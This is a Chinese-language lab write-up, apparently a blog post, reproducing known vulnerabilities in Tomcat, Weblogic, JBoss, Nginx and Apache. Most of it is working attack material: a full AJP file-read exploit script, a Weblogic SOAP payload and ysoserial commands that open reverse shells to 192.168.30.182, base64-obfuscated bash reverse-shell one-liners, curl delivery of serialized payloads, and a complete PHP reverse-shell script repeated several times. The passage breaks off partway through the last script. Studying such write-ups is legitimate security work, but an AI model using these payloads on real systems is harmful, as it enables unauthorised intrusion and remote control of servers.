目錄
- Tomcat
- 1. Tomcat 檔案上傳(CVE-2017-12615)
- 2. Tomcat 代碼執行 (CVE-2020-1938)
- 3. Tomcat弱口令登錄獲取后臺
- Weblogic
- 4. Weblogic反序列化漏洞獲取服務器權限(CVE-2018-10271)
- 5. Weblogic反序列化漏洞實作反彈shel(CVE-2018-2628)
- 6. Weblogic任意檔案上傳漏洞(CVE-2018-2894)
- 7. Weblogic weak password
- Jboss
- 8. Jboss反序列化命令執行(CVE-2017-12149)
- 9. Jboss反序列化(CVE-2017-7504)
- Nginx
- 10. Nginx檔案名邏輯漏洞(CVE-2013-4547)
- 11. Nginx越界讀取快取(CVE-2017-7529)
- 12. Nginx配置錯誤(insecure-configuration)
- 13. Nginx決議漏洞(nginx_parsing_vulnerability)
- Apache
- 14. Apache多后綴決議漏洞(apache_parsing_vulnerability)
- 15. Apache換行決議漏洞(CVE-2017-15715)
- 16. Apache遠程命令執行漏洞(ssi-rce)
- 17. Apache htaccess檔案上傳漏洞
- 18. Apache、Nginx和IIS等.user.ini檔案上傳漏洞
- IIS
- 19. IIS 6.X決議漏洞
- 20. IIS 7.X決議漏洞
Tomcat
1. Tomcat 檔案上傳(CVE-2017-12615)
-
漏洞環境:線上環境 vulfocus
漏洞的利用環境是Windows+Tomcat 7.0.x+組態檔readonly=false
因為Tomcat將readonly設定為flase的時候,同時就開啟了對PUT方法的支持

-
影響版本:Tomcat 7.0.0 - 7.0.81
-
漏洞原理:
org.apache.jasper.servlet.JspServlet:默認處理jsp,jspx檔案請求,不存在PUT上傳邏輯,無法處理PUT請求
org.apache.catalina.servlets.DefaultServlet:默認處理靜態檔案(除jsp,jspx之外的檔案),存在PUT上傳處理邏輯,可以處理PUT請求,
所以我們即使可以PUT一個檔案到服務器但也無法直接PUT以jsp,jspx結尾檔案,因為這些這些后綴的檔案都是交由JspServlet處理的,它沒法處理PUT請求,
但是當我們利用Windows特性以下面兩種方式上傳檔案時,tomcat并不認為其是jsp檔案從而交由DefaultServlet處理,從而成功創建jsp檔案,
方法一:利用PUT方法上傳一句話木馬,給后綴后加“/”
冰蝎連接,連接成功
查看flag
方法二:
給后綴后加%20進行繞過

方法三:
給后綴后加::$DATA


2. Tomcat 代碼執行 (CVE-2020-1938)
- 漏洞環境:
拉取鏡像
docker pull duonghuuphuc/tomcat-8.5.32
運行鏡像并映射埠:
docker run -d -p 8080:8080 -p 8009:8009 duonghuuphuc/tomcat-8.5.32
查看是否運行成功
docker ps

-
影響版本
Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31 -
漏洞原理:
-
漏洞復現:
- nmap掃描靶機是否開啟成功,以及埠開放的服務

- 使用大佬的POC
#!/usr/bin/env python
#CNVD-2020-10487 Tomcat-Ajp lfi
#by ydhcui
import struct
# Some references:
# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
def pack_string(s):
if s is None:
return struct.pack(">h", -1)
l = len(s)
return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)
def unpack(stream, fmt):
size = struct.calcsize(fmt)
buf = stream.read(size)
return struct.unpack(fmt, buf)
def unpack_string(stream):
size, = unpack(stream, ">h")
if size == -1: # null string
return None
res, = unpack(stream, "%ds" % size)
stream.read(1) # \0
return res
class NotFoundException(Exception):
pass
class AjpBodyRequest(object):
# server == web server, container == servlet
SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
MAX_REQUEST_LENGTH = 8186
def __init__(self, data_stream, data_len, data_direction=None):
self.data_stream = data_stream
self.data_len = data_len
self.data_direction = data_direction
def serialize(self):
data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
if len(data) == 0:
return struct.pack(">bbH", 0x12, 0x34, 0x00)
else:
res = struct.pack(">H", len(data))
res += data
if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
header = struct.pack(">bbH", 0x12, 0x34, len(res))
else:
header = struct.pack(">bbH", 0x41, 0x42, len(res))
return header + res
def send_and_receive(self, socket, stream):
while True:
data = self.serialize()
socket.send(data)
r = AjpResponse.receive(stream)
while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
r = AjpResponse.receive(stream)
if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
break
class AjpForwardRequest(object):
_, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28)
REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE}
# server == web server, container == servlet
SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
COMMON_HEADERS = ["SC_REQ_ACCEPT",
"SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION",
"SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2",
"SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
]
ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]
def __init__(self, data_direction=None):
self.prefix_code = 0x02
self.method = None
self.protocol = None
self.req_uri = None
self.remote_addr = None
self.remote_host = None
self.server_name = None
self.server_port = None
self.is_ssl = None
self.num_headers = None
self.request_headers = None
self.attributes = None
self.data_direction = data_direction
def pack_headers(self):
self.num_headers = len(self.request_headers)
res = ""
res = struct.pack(">h", self.num_headers)
for h_name in self.request_headers:
if h_name.startswith("SC_REQ"):
code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
res += struct.pack("BB", 0xA0, code)
else:
res += pack_string(h_name)
res += pack_string(self.request_headers[h_name])
return res
def pack_attributes(self):
res = b""
for attr in self.attributes:
a_name = attr['name']
code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
res += struct.pack("b", code)
if a_name == "req_attribute":
aa_name, a_value = attr['value']
res += pack_string(aa_name)
res += pack_string(a_value)
else:
res += pack_string(attr['value'])
res += struct.pack("B", 0xFF)
return res
def serialize(self):
res = ""
res = struct.pack("bb", self.prefix_code, self.method)
res += pack_string(self.protocol)
res += pack_string(self.req_uri)
res += pack_string(self.remote_addr)
res += pack_string(self.remote_host)
res += pack_string(self.server_name)
res += struct.pack(">h", self.server_port)
res += struct.pack("?", self.is_ssl)
res += self.pack_headers()
res += self.pack_attributes()
if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
header = struct.pack(">bbh", 0x12, 0x34, len(res))
else:
header = struct.pack(">bbh", 0x41, 0x42, len(res))
return header + res
def parse(self, raw_packet):
stream = StringIO(raw_packet)
self.magic1, self.magic2, data_len = unpack(stream, "bbH")
self.prefix_code, self.method = unpack(stream, "bb")
self.protocol = unpack_string(stream)
self.req_uri = unpack_string(stream)
self.remote_addr = unpack_string(stream)
self.remote_host = unpack_string(stream)
self.server_name = unpack_string(stream)
self.server_port = unpack(stream, ">h")
self.is_ssl = unpack(stream, "?")
self.num_headers, = unpack(stream, ">H")
self.request_headers = {}
for i in range(self.num_headers):
code, = unpack(stream, ">H")
if code > 0xA000:
h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]
else:
h_name = unpack(stream, "%ds" % code)
stream.read(1) # \0
h_value = unpack_string(stream)
self.request_headers[h_name] = h_value
def send_and_receive(self, socket, stream, save_cookies=False):
res = []
i = socket.sendall(self.serialize())
if self.method == AjpForwardRequest.POST:
return res
r = AjpResponse.receive(stream)
assert r.prefix_code == AjpResponse.SEND_HEADERS
res.append(r)
if save_cookies and 'Set-Cookie' in r.response_headers:
self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']
# read body chunks and end response packets
while True:
r = AjpResponse.receive(stream)
res.append(r)
if r.prefix_code == AjpResponse.END_RESPONSE:
break
elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
continue
else:
raise NotImplementedError
break
return res
class AjpResponse(object):
_,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)
COMMON_SEND_HEADERS = [
"Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",
"Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"
]
def parse(self, stream):
# read headers
self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")
if self.prefix_code == AjpResponse.SEND_HEADERS:
self.parse_send_headers(stream)
elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
self.parse_send_body_chunk(stream)
elif self.prefix_code == AjpResponse.END_RESPONSE:
self.parse_end_response(stream)
elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
self.parse_get_body_chunk(stream)
else:
raise NotImplementedError
def parse_send_headers(self, stream):
self.http_status_code, = unpack(stream, ">H")
self.http_status_msg = unpack_string(stream)
self.num_headers, = unpack(stream, ">H")
self.response_headers = {}
for i in range(self.num_headers):
code, = unpack(stream, ">H")
if code <= 0xA000: # custom header
h_name, = unpack(stream, "%ds" % code)
stream.read(1) # \0
h_value = unpack_string(stream)
else:
h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001]
h_value = unpack_string(stream)
self.response_headers[h_name] = h_value
def parse_send_body_chunk(self, stream):
self.data_length, = unpack(stream, ">H")
self.data = stream.read(self.data_length+1)
def parse_end_response(self, stream):
self.reuse, = unpack(stream, "b")
def parse_get_body_chunk(self, stream):
rlen, = unpack(stream, ">H")
return rlen
@staticmethod
def receive(stream):
r = AjpResponse()
r.parse(stream)
return r
import socket
def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
fr.method = method
fr.protocol = "HTTP/1.1"
fr.req_uri = req_uri
fr.remote_addr = target_host
fr.remote_host = None
fr.server_name = target_host
fr.server_port = 80
fr.request_headers = {
'SC_REQ_ACCEPT': 'text/html',
'SC_REQ_CONNECTION': 'keep-alive',
'SC_REQ_CONTENT_LENGTH': '0',
'SC_REQ_HOST': target_host,
'SC_REQ_USER_AGENT': 'Mozilla',
'Accept-Encoding': 'gzip, deflate, sdch',
'Accept-Language': 'en-US,en;q=0.5',
'Upgrade-Insecure-Requests': '1',
'Cache-Control': 'max-age=0'
}
fr.is_ssl = False
fr.attributes = []
return fr
class Tomcat(object):
def __init__(self, target_host, target_port):
self.target_host = target_host
self.target_port = target_port
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.socket.connect((target_host, target_port))
self.stream = self.socket.makefile("rb", bufsize=0)
def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
self.req_uri = req_uri
self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))
print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
if user is not None and password is not None:
self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '')
for h in headers:
self.forward_request.request_headers[h] = headers[h]
for a in attributes:
self.forward_request.attributes.append(a)
responses = self.forward_request.send_and_receive(self.socket, self.stream)
if len(responses) == 0:
return None, None
snd_hdrs_res = responses[0]
data_res = responses[1:-1]
if len(data_res) == 0:
print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers)
return snd_hdrs_res, data_res
'''
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
'''
import argparse
parser = argparse.ArgumentParser()
parser.add_argument("target", type=str, help="Hostname or IP to attack")
parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
args = parser.parse_args()
t = Tomcat(args.target, args.port)
_,data = t.perform_request('/asdf',attributes=[
{'name':'req_attribute','value':['javax.servlet.include.request_uri','/']},
{'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]},
{'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']},
])
print('----------------------------')
print("".join([d.data for d in data]))
-
存在漏洞

-
向web目錄寫入檔案
可以在這里讀取web目錄下的檔案
反彈shell:
查看容器id
docker inspect -f '{{.ID}}' 1938
將反彈shell腳本復制到容器的ROOT目錄下
<%
java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaC1pPiYgL2Rldi90Y3AvMTkyLjE2OC4zMC4xODkvODg4OCAwPiYx}|{base64,-d}|{bash,-i}").getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))≠-1{
out.println(new String(b));
}
out.priny("</pre>");
%>
最后可能環境問題,沒能復現成功,可以看這篇博客AJP漏洞復現
-
漏洞修復:
1.臨時禁用AJP協議埠,在conf/server.xml組態檔中注釋掉<Connector port=“8009” protocol="AJP/1.3"redirectPort=“8443” />
2.更新tomcat版本

3. Tomcat弱口令登錄獲取后臺
爆破tomcat后臺密碼:
- 登錄抓包


可以看到登錄的用戶名及密碼經過base64加密

2. intruder進行密碼爆破
指定爆破點

payload型別:Custom iterator
添加爆破字典,這里用的Fuzz(可以到github去下載)
位置1:用戶名字典
位置2:連接符
位置3:密碼字典
根據資料包進行base64加密:
不進行url編碼
生產環境需要設定執行緒等選項,進行爆破

具體復現可以查看前面的復現–tomcat漏洞復現
Weblogic
4. Weblogic反序列化漏洞獲取服務器權限(CVE-2018-10271)
訪問url:
http://192.168.30.209:7001/wls-wsat/CoordinatorPortType

先用WeblogicScan工具進行掃描

抓包構造payload(這里直接拿的大佬的payload)
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.30.209:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 639
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.30.182/9999 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

成功反彈shell

5. Weblogic反序列化漏洞實作反彈shel(CVE-2018-2628)
可以下載CVE-2018-2628工具包進行復現漏洞
-
檢測環境是否存在CVE-2018-2628漏洞:
修改目標url


此處存在CVE-2018-2628漏洞 -
啟動JRMP Server:
[command] : 需要執行的命令
[listen port] : JRMP Server監聽的埠,
java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener [listen port] Jdk7u21 [command]
- 執行反彈shell命令
這里注意:由于函式Runtime.getRuntime().exec()不能使用管道符等bash需要的方法,所以我們需要進行一次編碼:
java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 8888 Jdk7u21 'bash -i >& /dev/tcp/192.168.30.182/9999 0>&1'
#編碼后的命令:
java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 8888 Jdk7u21 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMwLjE4Mi85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}'


JRMP Server正在監聽8888埠
- 生成payload
java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient2 192.168.30.182:8888 | xxd -p | tr -d $'\n' && echo

-
替換weblogic_poc.py中的payload及ip


-
運行腳本,成功反彈shell


6. Weblogic任意檔案上傳漏洞(CVE-2018-2894)
這個漏洞在前面博客已經復現,點擊此處查看
7. Weblogic weak password
-
Weblogic的密碼采用AES加密,對稱加密即可解密,秘鑰(/security/SerializedSystemIni.dat)與密文(/config/config.xml)都保存在base_domain/目錄下,SerializedSystemlni.dat檔案為二進制檔案,這里需要在burp中抓取,并保存成檔案

查看秘鑰,秘鑰保存在,并將秘鑰保存為一個檔案(右擊Copy to file)

查看密文,這里AES加密檔案很雜,一定要找正確

-
使用工具進行解密,破解成功,密碼為:Oracle@123 用戶名默認為weblogic

-
后臺上傳webshell
拿到用戶名及密碼,但是登不上去,很尷尬(環境問題)

后面的步驟找了一個大佬的博客

步驟:域結構-部署-安裝-上傳檔案-將此部署安裝為應用程式
Jboss
8. Jboss反序列化命令執行(CVE-2017-12149)
-
漏洞原理:
反序列化遠程命令執行漏洞,在JBoss的HttpInvoker組件中的 ReadOnlyAccessFilter 過濾器中,doFilter方法會對來自客戶端的序列化資料進行反序列化,攻擊者可以構造惡意的序列化資料進行代碼執行 -
利用工具:JavaDeserH2HC
-
進行配置,并生成payload
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.30.182:4444

- 將payload發送至invoker/readonly/目錄下
curl http://192.168.30.209:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

反彈shell成功

9. Jboss反序列化(CVE-2017-7504)
-
漏洞原理:JBoss AS 4.x及之前版本,JbossMQ實作程序的JMS over HTTP Invocation Layer的HTTPServerILServlet.java檔案存在反序列化漏洞,攻擊者可以構造的序列化資料經反序列化后進行代碼執行,漏洞點出現在/jbossmq-httpil/HTTPServerILServlet請求中,借助ysoserial的CommonsCollections5利用鏈來復現
-
生成Payload
利用jar包生成一個success格式的payload
java -jar ysoserial.jar CommonsCollections5 "bash -i >& /dev/tcp/192.168.30.182/7777 0>&1" > poc.ser
#編碼后:
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMwLjE4Mi83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}" > poc.ser

- 利用curl工具向jbossmq-httpil/HTTPServerILServlet 發送一個poc.ser請求
curl http://192.168.30.209:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @poc.ser

成功反彈shell

Nginx
10. Nginx檔案名邏輯漏洞(CVE-2013-4547)
- 漏洞原理:
錯誤地決議了請求的URI,nginx匹配到.php后綴檔案會發送給fastcgi進行決議,常見寫法:
location ~ \.php$ {
include fastcgi_params;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name;
fastcgi_param DOCUMENT_ROOT /var/www/html;
}
正常情況(關閉pathinfo的情況),Nginx遇到.php后綴檔案,都會交給fastcig進行處理,但是在CVE-2013-4547漏洞的存在下,我們請求檔案phpinfo.jpg[0x20][0x00].php,這個URI匹配到正則表達.php$,會被當做php檔案處理,但是在fastcgi處理時,00截斷后面的字符,會對檔案phpinfo.jpg[0x20]進行決議,從而造成Nginx決議漏洞
-
通過驗證,此處為黑名單過濾,過濾了php,php3,php5,phtml

-
上傳時給檔案名后面加空格,上傳成功,并回傳上傳成功的路徑

-
訪問檔案phpinfo.jpg[0x20][0x00].php時,上傳的phpinfo().jpg[0x20]會被當做php檔案進行決議,注意:這里可以利用brup選中[0x20]后面的16進制,改為[0x00]

-
上傳反彈shell腳本,后綴為jpg[0x20]

反彈shell腳本
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.30.182';
$port = 5555;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
- 訪問檔案shell.jpg[0x20][0x00].php

成功反彈shell

11. Nginx越界讀取快取(CVE-2017-7529)
-
漏洞介紹:
Nginx進行反向代理時,通常會對一些檔案進行快取,特別是靜態檔案,在快取檔案中,具有檔案頭,HTTP回傳包頭,HTTP回傳包體,當用戶再次對服務器發起請求,服務器會直接將快取檔案發送給客戶端 -
漏洞復現:
訪問URL:http://192.168.30.209:8080/ 實際是訪問的nginx的8001埠

使用大佬的POC
#!/usr/bin/env python
import sys
import requests
if len(sys.argv) < 2:
print("%s url" % (sys.argv[0]))
print("eg: python %s http://your-ip:8080/" % (sys.argv[0]))
sys.exit()
headers = {
'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
}
offset = 605
url = sys.argv[1]
file_len = len(requests.get(url, headers=headers).content)
n = file_len + offset
headers['Range'] = "bytes=-%d,-%d" % (
n, 0x8000000000000000 - n)
r = requests.get(url, headers=headers)
print(r.text)
- 運行腳本,越界讀取快取檔案

12. Nginx配置錯誤(insecure-configuration)
可以看出,docker容器開啟后,這里開啟了8080-8082三個埠,這三個埠分別對應三個配置不當漏洞

漏洞一:CRLF注入漏洞

漏洞二:目錄穿越漏洞

漏洞三:add_header被覆寫

漏洞一:CRLF注入
- 原理:CRLF:CR為回車符(%0d),LF為換行符(%0a),HTTP的規范中,行以CRLF結束,當遇見CRLF時后面的資料就會開啟另一行
- 構造陳述句,會將
Set-cookie: true=1寫到下一行,可以看到回包中有我們寫入的資料

- 防御:過濾 \r、\n之類的行結束符,以防止用戶輸入的資料污染HTTP頭
漏洞二:目錄穿越漏洞
- 經過對漏洞一的復現后,發現環境好像被搞壞了,也可是別的問題,進不去了,待后續配置環境,后面的復現看這位大佬博客
13. Nginx決議漏洞(nginx_parsing_vulnerability)
-
漏洞原理:配置錯誤的情況,與nginx、php版本無關,配置項: cgi.fix_pathinfo=1,security.limit_extensions=允許決議其他格式為php,則存在決議漏洞,Nginx的決議流程:當nginx接收到/phpinfo.jpg/a.php檔案時,首先判斷后綴為php,則交給php處理,但是發現處理a.php時,a.php檔案不存在,所以就洗掉檔案a.php,然后去決議檔案phpinfo.jpg,當然想要將phpinfo.jpg檔案進行php決議,那么配置項就需要滿足前面說的那種配置
-
上傳假圖片檔案,回包中可以看到上傳后的路徑及重命名的圖片名

正常訪問上傳的檔案

訪問上傳的假圖片時,給后面加/a.php,此時會把這個假圖片進行php決議
以下鏈接會被決議為php格式
http://192.168.30.209/uploadfiles/b5f7a062d84869fe4f3af35b79fca50c.jpg/a.php

- 上傳反彈shell腳本
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.30.182';
$port = 5555;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>

kali進行埠監聽,訪問上傳的檔案,對上傳的檔案進行php決議,

- 成功反彈shell

- 漏洞修復:設定security.limit_extensions=.php,重啟服務
Apache
14. Apache多后綴決議漏洞(apache_parsing_vulnerability)
-
漏洞原理:Apache httpd支持一個檔案多后綴,這不同于windows作業系統,windows對檔案的識別是看最后一個“.”后面的格式,假設一個多后綴檔案phpinfo.php,jpg,Apache對多檔案后綴的識別方式是從后往前進行識別,先識別.jpg后綴檔案,但是并不能被識別,所以往前去識別php后綴,以此類推,如果這些后綴都無法識別,那么會將檔案當做默認檔案型別去處理,檔案/etc/mime.types規定了Apache可以識別的后綴,下面是檔案中部分后綴

-
實戰中一般使用rar,owf檔案進行利用,因為Apache也可以識別jpg格式,很有可能會將檔案當做jpg檔案進行決議
-
主頁為檔案上傳頁面

-
直接上傳php后綴檔案,上傳失敗

-
上傳多后綴檔案phpInfo.php.jpg,上傳成功并回傳上傳路徑

-
訪問上傳的多后綴檔案,此時發現被決議成了php檔案

-
上傳反彈shell腳本shell2.php.jpg

一般上傳時最好加上假圖片頭
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.30.182';
$port = 5555;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
